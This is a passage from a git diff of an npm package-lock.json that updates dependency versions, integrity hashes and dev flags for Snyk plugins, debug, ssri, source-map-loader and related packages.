"js-yaml": "^3.13.1",
"lodash.clonedeep": "^4.5.0",
+ "promise-fs": "^2.1.1",
"semver": "^6.0.0",
- "snyk-module": "^2.0.2",
- "snyk-resolve": "^1.0.1",
- "snyk-try-require": "^1.3.1",
- "then-fs": "^2.0.0"
+ "snyk-module": "^3.0.0",
+ "snyk-resolve": "^1.1.0",
+ "snyk-try-require": "^2.0.0"
},
"dependencies": {
- "@types/node": {
- "version": "6.14.11",
- "resolved": "https://registry.npmjs.org/@types/node/-/node-6.14.11.tgz",
- "integrity": "sha512-htzPk08CmbGFjgIWaJut1oW2roZAAQxxOhkhsehCVLE7Uocx9wkcHfIQYdBWO7KqbuRvYrdBQtl5h5Mz/GxehA=="
- },
"debug": {
- "version": "4.1.1",
- "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz",
- "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==",
+ "version": "4.3.1",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz",
+ "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==",
+ "dev": true,
"requires": {
- "ms": "^2.1.1"
+ "ms": "2.1.2"
+ }
+ },
+ "lru-cache": {
+ "version": "5.1.1",
+ "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz",
+ "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==",
+ "dev": true,
+ "requires": {
+ "yallist": "^3.0.2"
}
},
"ms": {
"version": "2.1.2",
"resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
- "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+ "dev": true
},
"semver": {
"version": "6.3.0",
"resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
- "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw=="
+ "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==",
+ "dev": true
},
- "snyk-module": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/snyk-module/-/snyk-module-2.1.0.tgz",
- "integrity": "sha512-K5xeA39vLbm23Y/29wFEhKGvo7FwV4x9XhCP5gB22dBPyYiCCNiDERX4ofHQvtM6q96cL0hIroMdlbctv/0nPw==",
+ "snyk-try-require": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/snyk-try-require/-/snyk-try-require-2.0.1.tgz",
+ "integrity": "sha512-VCOfFIvqLMXgCXEdooQgu3A40XYIFBnj0X8Y01RJ5iAbu08b4WKGN/uAKaRVF30dABS4EcjsalmCO+YlKUPEIA==",
+ "dev": true,
"requires": {
- "@types/hosted-git-info": "^2.7.0",
- "@types/node": "^6.14.7",
- "debug": "^3.1.0",
- "hosted-git-info": "^2.7.1"
- },
- "dependencies": {
- "debug": {
- "version": "3.2.6",
- "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz",
- "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==",
- "requires": {
- "ms": "^2.1.1"
- }
- }
+ "debug": "^4.1.1",
+ "lodash.clonedeep": "^4.3.0",
+ "lru-cache": "^5.1.1"
}
+ },
+ "yallist": {
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz",
+ "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==",
+ "dev": true
}
}
},
"snyk-python-plugin": {
- "version": "1.17.1",
- "resolved": "https://registry.npmjs.org/snyk-python-plugin/-/snyk-python-plugin-1.17.1.tgz",
- "integrity": "sha512-KKklat9Hfbj4hw2y63LRhgmziYzmyRt+cSuzN5KDmBSAGYck0EAoPDtNpJXjrIs1kPNz28EXnE6NDnadXnOjiQ==",
+ "version": "1.19.8",
+ "resolved": "https://registry.npmjs.org/snyk-python-plugin/-/snyk-python-plugin-1.19.8.tgz",
+ "integrity": "sha512-LMKVnv0J4X/qHMoKB17hMND0abWtm9wdgI4xVzrOcf2Vtzs3J87trRhwLxQA2lMoBW3gcjtTeBUvNKaxikSVeQ==",
+ "dev": true,
"requires": {
"@snyk/cli-interface": "^2.0.3",
+ "snyk-poetry-lockfile-parser": "^1.1.6",
"tmp": "0.0.33"
}
},
"snyk-resolve": {
- "version": "1.0.1",
- "resolved": "https://registry.npmjs.org/snyk-resolve/-/snyk-resolve-1.0.1.tgz",
- "integrity": "sha512-7+i+LLhtBo1Pkth01xv+RYJU8a67zmJ8WFFPvSxyCjdlKIcsps4hPQFebhz+0gC5rMemlaeIV6cqwqUf9PEDpw==",
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/snyk-resolve/-/snyk-resolve-1.1.0.tgz",
+ "integrity": "sha512-OZMF8I8TOu0S58Z/OS9mr8jkEzGAPByCsAkrWlcmZgPaE0RsxVKVIFPhbMNy/JlYswgGDYYIEsNw+e0j1FnTrw==",
+ "dev": true,
"requires": {
- "debug": "^3.1.0",
- "then-fs": "^2.0.0"
+ "debug": "^4.1.1",
+ "promise-fs": "^2.1.1"
},
"dependencies": {
"debug": {
- "version": "3.2.6",
- "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz",
- "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==",
+ "version": "4.3.1",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz",
+ "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==",
+ "dev": true,
"requires": {
- "ms": "^2.1.1"
+ "ms": "2.1.2"
}
},
"ms": {
"version": "2.1.2",
"resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
- "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+ "dev": true
}
}
},
"snyk-resolve-deps": {
- "version": "4.4.0",
- "resolved": "https://registry.npmjs.org/snyk-resolve-deps/-/snyk-resolve-deps-4.4.0.tgz",
- "integrity": "sha512-aFPtN8WLqIk4E1ulMyzvV5reY1Iksz+3oPnUVib1jKdyTHymmOIYF7z8QZ4UUr52UsgmrD9EA/dq7jpytwFoOQ==",
+ "version": "4.7.2",
+ "resolved": "https://registry.npmjs.org/snyk-resolve-deps/-/snyk-resolve-deps-4.7.2.tgz",
+ "integrity": "sha512-Bmtr7QdRL2b3Js+mPDmvXbkprOpzO8aUFXqR0nJKAOlUVQqZ84yiuT0n/mssEiJJ0vP+k0kZvTeiTwgio4KZRg==",
+ "dev": true,
"requires": {
- "@types/node": "^6.14.4",
- "@types/semver": "^5.5.0",
"ansicolors": "^0.3.2",
- "debug": "^3.2.5",
+ "debug": "^4.1.1",
"lodash.assign": "^4.2.0",
"lodash.assignin": "^4.2.0",
"lodash.clone": "^4.5.0",
@@ -15599,39 +19959,27 @@
"lodash.set": "^4.3.2",
"lru-cache": "^4.0.0",
"semver": "^5.5.1",
- "snyk-module": "^1.6.0",
+ "snyk-module": "^3.1.0",
"snyk-resolve": "^1.0.0",
"snyk-tree": "^1.0.0",
"snyk-try-require": "^1.1.1",
"then-fs": "^2.0.0"
},
"dependencies": {
- "@types/node": {
- "version": "6.14.11",
- "resolved": "https://registry.npmjs.org/@types/node/-/node-6.14.11.tgz",
- "integrity": "sha512-htzPk08CmbGFjgIWaJut1oW2roZAAQxxOhkhsehCVLE7Uocx9wkcHfIQYdBWO7KqbuRvYrdBQtl5h5Mz/GxehA=="
- },
"debug": {
- "version": "3.2.6",
- "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz",
- "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==",
+ "version": "4.3.1",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz",
+ "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==",
+ "dev": true,
"requires": {
- "ms": "^2.1.1"
+ "ms": "2.1.2"
}
},
"ms": {
"version": "2.1.2",
"resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
- "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
- },
- "snyk-module": {
- "version": "1.9.1",
- "resolved": "https://registry.npmjs.org/snyk-module/-/snyk-module-1.9.1.tgz",
- "integrity": "sha512-A+CCyBSa4IKok5uEhqT+hV/35RO6APFNLqk9DRRHg7xW2/j//nPX8wTSZUPF8QeRNEk/sX+6df7M1y6PBHGSHA==",
- "requires": {
- "debug": "^3.1.0",
- "hosted-git-info": "^2.7.1"
- }
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+ "dev": true
}
}
},
@@ -15639,6 +19987,7 @@
"version": "2.11.0",
"resolved": "https://registry.npmjs.org/snyk-sbt-plugin/-/snyk-sbt-plugin-2.11.0.tgz",
"integrity": "sha512-wUqHLAa3MzV6sVO+05MnV+lwc+T6o87FZZaY+43tQPytBI2Wq23O3j4POREM4fa2iFfiQJoEYD6c7xmhiEUsSA==",
+ "dev": true,
"requires": {
"debug": "^4.1.1",
"semver": "^6.1.2",
@@ -15648,27 +19997,31 @@
},
"dependencies": {
"debug": {
- "version": "4.1.1",
- "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz",
- "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==",
+ "version": "4.3.1",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz",
+ "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==",
+ "dev": true,
"requires": {
- "ms": "^2.1.1"
+ "ms": "2.1.2"
}
},
"ms": {
"version": "2.1.2",
"resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
- "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+ "dev": true
},
"semver": {
"version": "6.3.0",
"resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
- "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw=="
+ "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==",
+ "dev": true
},
"tmp": {
"version": "0.1.0",
"resolved": "https://registry.npmjs.org/tmp/-/tmp-0.1.0.tgz",
"integrity": "sha512-J7Z2K08jbGcdA1kkQpJSqLF6T0tdQqpR2pnSUXsIchbPdTI9v3e85cLW0d6WDhwuAleOV71j2xWs8qMPfK7nKw==",
+ "dev": true,
"requires": {
"rimraf": "^2.6.3"
}
@@ -15679,6 +20032,7 @@
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/snyk-tree/-/snyk-tree-1.0.0.tgz",
"integrity": "sha1-D7cxdtvzLngvGRAClBYESPkRHMg=",
+ "dev": true,
"requires": {
"archy": "^1.0.0"
}
@@ -15687,6 +20041,7 @@
"version": "1.3.1",
"resolved": "https://registry.npmjs.org/snyk-try-require/-/snyk-try-require-1.3.1.tgz",
"integrity": "sha1-bgJvkuZK9/zM6h7lPVJIQeQYohI=",
+ "dev": true,
"requires": {
"debug": "^3.1.0",
"lodash.clonedeep": "^4.3.0",
@@ -15695,17 +20050,19 @@
},
"dependencies": {
"debug": {
- "version": "3.2.6",
- "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz",
- "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==",
+ "version": "3.2.7",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
+ "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
+ "dev": true,
"requires": {
"ms": "^2.1.1"
}
},
"ms": {
- "version": "2.1.2",
- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
- "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
+ "version": "2.1.3",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
+ "dev": true
}
}
},
@@ -15760,34 +20117,6 @@
}
}
},
- "socks": {
- "version": "2.3.3",
- "resolved": "https://registry.npmjs.org/socks/-/socks-2.3.3.tgz",
- "integrity": "sha512-o5t52PCNtVdiOvzMry7wU4aOqYWL0PeCXRWBEiJow4/i/wr+wpsJQ9awEu1EonLIqsfGd5qSgDdxEOvCdmBEpA==",
- "requires": {
- "ip": "1.1.5",
- "smart-buffer": "^4.1.0"
- }
- },
- "socks-proxy-agent": {
- "version": "4.0.2",
- "resolved": "https://registry.npmjs.org/socks-proxy-agent/-/socks-proxy-agent-4.0.2.tgz",
- "integrity": "sha512-NT6syHhI9LmuEMSK6Kd2V7gNv5KFZoLE7V5udWmn0de+3Mkj3UMA/AJPLyeNUVmElCurSHtUdM3ETpR3z770Wg==",
- "requires": {
- "agent-base": "~4.2.1",
- "socks": "~2.3.2"
- },
- "dependencies": {
- "agent-base": {
- "version": "4.2.1",
- "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-4.2.1.tgz",
- "integrity": "sha512-JVwXMr9nHYTUXsBFKUqhJwvlcYU/blreOEUkhNR2eXZIvwd+c+o5V4MgDPKWnMS/56awN3TRzIP+KoPn+roQtg==",
- "requires": {
- "es6-promisify": "^5.0.0"
- }
- }
- }
- },
"source-list-map": {
"version": "2.0.1",
"resolved": "https://registry.npmjs.org/source-list-map/-/source-list-map-2.0.1.tgz",
@@ -15799,6 +20128,83 @@
"resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz",
"integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w="
},
+ "source-map-loader": {
+ "version": "1.1.3",
+ "resolved": "https://registry.npmjs.org/source-map-loader/-/source-map-loader-1.1.3.tgz",
+ "integrity": "sha512-6YHeF+XzDOrT/ycFJNI53cgEsp/tHTMl37hi7uVyqFAlTXW109JazaQCkbc+jjoL2637qkH1amLi+JzrIpt5lA==",
+ "requires": {
+ "abab": "^2.0.5",
+ "iconv-lite": "^0.6.2",
+ "loader-utils": "^2.0.0",
+ "schema-utils": "^3.0.0",
+ "source-map": "^0.6.1",
+ "whatwg-mimetype": "^2.3.0"
+ },
+ "dependencies": {
+ "@types/json-schema": {
+ "version": "7.0.7",
+ "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.7.tgz",
+ "integrity": "sha512-cxWFQVseBm6O9Gbw1IWb8r6OS4OhSt3hPZLkFApLjM8TEXROBuQGLAH2i2gZpcXdLBIrpXuTDhH7Vbm1iXmNGA=="
+ },
+ "ajv": {
+ "version": "6.12.6",
+ "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz",
+ "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==",
+ "requires": {
+ "fast-deep-equal": "^3.1.1",
+ "fast-json-stable-stringify": "^2.0.0",
+ "json-schema-traverse": "^0.4.1",
+ "uri-js": "^4.2.2"
+ }
+ },
+ "ajv-keywords": {
+ "version": "3.5.2",
+ "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz",
+ "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ=="
+ },
+ "iconv-lite": {
+ "version": "0.6.2",
+ "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.2.tgz",
+ "integrity": "sha512-2y91h5OpQlolefMPmUlivelittSWy0rP+oYVpn6A7GwVHNE8AWzoYOBNmlwks3LobaJxgHCYZAnyNo2GgpNRNQ==",
+ "requires": {
+ "safer-buffer": ">= 2.1.2 < 3.0.0"
+ }
+ },
+ "json5": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.0.tgz",
+ "integrity": "sha512-f+8cldu7X/y7RAJurMEJmdoKXGB/X550w2Nr3tTbezL6RwEE/iMcm+tZnXeoZtKuOq6ft8+CqzEkrIgx1fPoQA==",
+ "requires": {
+ "minimist": "^1.2.5"
+ }
+ },
+ "loader-utils": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.0.tgz",
+ "integrity": "sha512-rP4F0h2RaWSvPEkD7BLDFQnvSf+nK+wr3ESUjNTyAGobqrijmW92zc+SO6d4p4B1wh7+B/Jg1mkQe5NYUEHtHQ==",
+ "requires": {
+ "big.js": "^5.2.2",
+ "emojis-list": "^3.0.0",
+ "json5": "^2.1.2"
+ }
+ },
+ "schema-utils": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.0.0.tgz",
+ "integrity": "sha512-6D82/xSzO094ajanoOSbe4YvXWMfn2A//8Y1+MUqFAJul5Bs+yn36xbK9OtNDcRVSBJ9jjeoXftM6CfztsjOAA==",
+ "requires": {
+ "@types/json-schema": "^7.0.6",
+ "ajv": "^6.12.5",
+ "ajv-keywords": "^3.5.2"
+ }
+ },
+ "source-map": {
+ "version": "0.6.1",
+ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
+ "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g=="
+ }
+ }
+ },
"source-map-resolve": {
"version": "0.5.3",
"resolved": "https://registry.npmjs.org/source-map-resolve/-/source-map-resolve-0.5.3.tgz",
@@ -15816,6 +20222,7 @@
"version": "0.5.19",
"resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.19.tgz",
"integrity": "sha512-Wonm7zOCIJzBGQdB+thsPar0kYuCIzYvxZwlBa87yi/Mdjv7Tip2cyVbLj5o0cFPN4EVkuTwb3GDDyUx2DGnGw==",
+ "dev": true,
"requires": {
"buffer-from": "^1.0.0",
"source-map": "^0.6.0"
@@ -15824,7 +20231,8 @@
"source-map": {
"version": "0.6.1",
"resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
- "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g=="
+ "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
+ "dev": true
}
}
},
@@ -15947,7 +20355,8 @@
"split-ca": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/split-ca/-/split-ca-1.0.1.tgz",
- "integrity": "sha1-bIOv82kvphJW4M0ZfgXp3hV2kaY="
+ "integrity": "sha1-bIOv82kvphJW4M0ZfgXp3hV2kaY=",
+ "dev": true
},
"split-string": {
"version": "3.1.0",
@@ -15961,12 +20370,14 @@
"sprintf-js": {
"version": "1.0.3",
"resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz",
- "integrity": "sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw="
+ "integrity": "sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=",
+ "dev": true
},
"ssh2": {
"version": "0.8.9",
"resolved": "https://registry.npmjs.org/ssh2/-/ssh2-0.8.9.tgz",
"integrity": "sha512-GmoNPxWDMkVpMFa9LVVzQZHF6EW3WKmBwL+4/GeILf2hFmix5Isxm7Amamo8o7bHiU0tC+wXsGcUXOxp8ChPaw==",
+ "dev": true,
"requires": {
"ssh2-streams": "~0.4.10"
}
@@ -15975,6 +20386,7 @@
"version": "0.4.10",
"resolved": "https://registry.npmjs.org/ssh2-streams/-/ssh2-streams-0.4.10.tgz",
"integrity": "sha512-8pnlMjvnIZJvmTzUIIA5nT4jr2ZWNNVHwyXfMGdRJbug9TpI3kd99ffglgfSWqujVv/0gxwMsDn9j9RVst8yhQ==",
+ "dev": true,
"requires": {
"asn1": "~0.2.0",
"bcrypt-pbkdf": "^1.0.2",
@@ -15999,20 +20411,14 @@
}
},
"ssri": {
- "version": "6.0.1",
- "resolved": "https://registry.npmjs.org/ssri/-/ssri-6.0.1.tgz",
- "integrity": "sha512-3Wge10hNcT1Kur4PDFwEieXSCMCJs/7WvSACcrMYrNp+b8kDL1/0wJch5Ni2WrtwEa2IO8OsVfeKIciKCDx/QA==",
+ "version": "6.0.2",
+ "resolved": "https://registry.npmjs.org/ssri/-/ssri-6.0.2.tgz",
+ "integrity": "sha512-cepbSq/neFK7xB6A50KHN0xHDotYzq58wWCa5LeWqnPrHG8GzfEjO/4O8kpmcGW+oaxkvhEJCWgbgNk4/ZV93Q==",
"dev": true,
"requires": {
"figgy-pudding": "^3.5.1"
}
},
- "state-toggle": {
- "version": "1.0.3",
- "resolved": "https://registry.npmjs.org/state-toggle/-/state-toggle-1.0.3.tgz",
- "integrity": "sha512-d/5Z4/2iiCnHw6Xzghyhb+GcmF89bxwgXG60wjIiZaxnymbyOmI8Hk4VqHXiVVp6u2ysaskFfXg3ekCj4WNftQ==",
- "dev": true
- },
"static-extend": {
"version": "0.1.2",
"resolved": "https://registry.npmjs.org/static-extend/-/static-extend-0.1.2.tgz",
@@ -16037,7 +20443,8 @@
"statuses": {
"version": "1.5.0",
"resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz",
- "integrity": "sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow="
+ "integrity": "sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow=",
+ "dev": true
},
"stdout-stream": {
"version": "1.4.1",
@@ -16061,7 +20468,8 @@
"stream-buffers": {
"version": "3.0.2",
"resolved": "https://registry.npmjs.org/stream-buffers/-/stream-buffers-3.0.2.tgz",
- "integrity": "sha512-DQi1h8VEBA/lURbSwFtEHnSTb9s2/pwLEaFuNhXwy1Dx3Sa0lOuYT2yNUr4/j2fs8oCAMANtrZ5OrPZtyVs3MQ=="
+ "integrity": "sha512-DQi1h8VEBA/lURbSwFtEHnSTb9s2/pwLEaFuNhXwy1Dx3Sa0lOuYT2yNUr4/j2fs8oCAMANtrZ5OrPZtyVs3MQ==",
+ "dev": true
},
"stream-each": {
"version": "1.2.3",
@@ -16089,12 +20497,14 @@
"stream-shift": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/stream-shift/-/stream-shift-1.0.1.tgz",
- "integrity": "sha512-AiisoFqQ0vbGcZgQPY1cdP2I76glaVA/RauYR4G4thNFgkTqr90yXTo4LYX60Jl+sIlPNHHdGSwo01AvbKUSVQ=="
+ "integrity": "sha512-AiisoFqQ0vbGcZgQPY1cdP2I76glaVA/RauYR4G4thNFgkTqr90yXTo4LYX60Jl+sIlPNHHdGSwo01AvbKUSVQ==",
+ "dev": true
},
"stream-to-array": {
"version": "2.3.0",
"resolved": "https://registry.npmjs.org/stream-to-array/-/stream-to-array-2.3.0.tgz",
"integrity": "sha1-u/azn19D7DC8cbq8s3VXrOzzQ1M=",
+ "dev": true,
"requires": {
"any-promise": "^1.1.0"
}
@@ -16103,6 +20513,7 @@
"version": "2.2.0",
"resolved": "https://registry.npmjs.org/stream-to-promise/-/stream-to-promise-2.2.0.tgz",
"integrity": "sha1-se2y4cjLESidG1A8CNPyrvUeZQ8=",
+ "dev": true,
"requires": {
"any-promise": "~1.3.0",
"end-of-stream": "~1.1.0",
@@ -16113,6 +20524,7 @@
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.1.0.tgz",
"integrity": "sha1-6TUyWLqpEIll78QcsO+K3i88+wc=",
+ "dev": true,
"requires": {
"once": "~1.3.0"
}
@@ -16121,6 +20533,7 @@
"version": "1.3.3",
"resolved": "https://registry.npmjs.org/once/-/once-1.3.3.tgz",
"integrity": "sha1-suJhVXzkwxTsgwTz+oJmPkKXyiA=",
+ "dev": true,
"requires": {
"wrappy": "1"
}
@@ -16130,12 +20543,14 @@
"streamsearch": {
"version": "0.1.2",
"resolved": "https://registry.npmjs.org/streamsearch/-/streamsearch-0.1.2.tgz",
- "integrity": "sha1-gIudDlb8Jz2Am6VzOOkpkZoanxo="
+ "integrity": "sha1-gIudDlb8Jz2Am6VzOOkpkZoanxo=",
+ "dev": true
},
"string-width": {
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz",
"integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=",
+ "dev": true,
"requires": {
"code-point-at": "^1.0.0",
"is-fullwidth-code-point": "^1.0.0",
@@ -16143,17 +20558,116 @@
}
},
"string.prototype.matchall": {
- "version": "4.0.2",
- "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-4.0.2.tgz",
- "integrity": "sha512-N/jp6O5fMf9os0JU3E72Qhf590RSRZU/ungsL/qJUYVTNv7hTG0P/dbPjxINVN9jpscu3nzYwKESU3P3RY5tOg==",
+ "version": "4.0.4",
+ "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-4.0.4.tgz",
+ "integrity": "sha512-pknFIWVachNcyqRfaQSeu/FUfpvJTe4uskUSZ9Wc1RijsPuzbZ8TyYT8WCNnntCjUEqQ3vUHMAfVj2+wLAisPQ==",
"dev": true,
"requires": {
+ "call-bind": "^1.0.2",
"define-properties": "^1.1.3",
- "es-abstract": "^1.17.0",
+ "es-abstract": "^1.18.0-next.2",
"has-symbols": "^1.0.1",
- "internal-slot": "^1.0.2",
- "regexp.prototype.flags": "^1.3.0",
- "side-channel": "^1.0.2"
+ "internal-slot": "^1.0.3",
+ "regexp.prototype.flags": "^1.3.1",
+ "side-channel": "^1.0.4"
+ },
+ "dependencies": {
+ "es-abstract": {
+ "version": "1.18.0",
+ "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.18.0.tgz",
+ "integrity": "sha512-LJzK7MrQa8TS0ja2w3YNLzUgJCGPdPOV1yVvezjNnS89D+VR08+Szt2mz3YB2Dck/+w5tfIq/RoUAFqJJGM2yw==",
+ "dev": true,
+ "requires": {
+ "call-bind": "^1.0.2",
+ "es-to-primitive": "^1.2.1",
+ "function-bind": "^1.1.1",
+ "get-intrinsic": "^1.1.1",
+ "has": "^1.0.3",
+ "has-symbols": "^1.0.2",
+ "is-callable": "^1.2.3",
+ "is-negative-zero": "^2.0.1",
+ "is-regex": "^1.1.2",
+ "is-string": "^1.0.5",
+ "object-inspect": "^1.9.0",
+ "object-keys": "^1.1.1",
+ "object.assign": "^4.1.2",
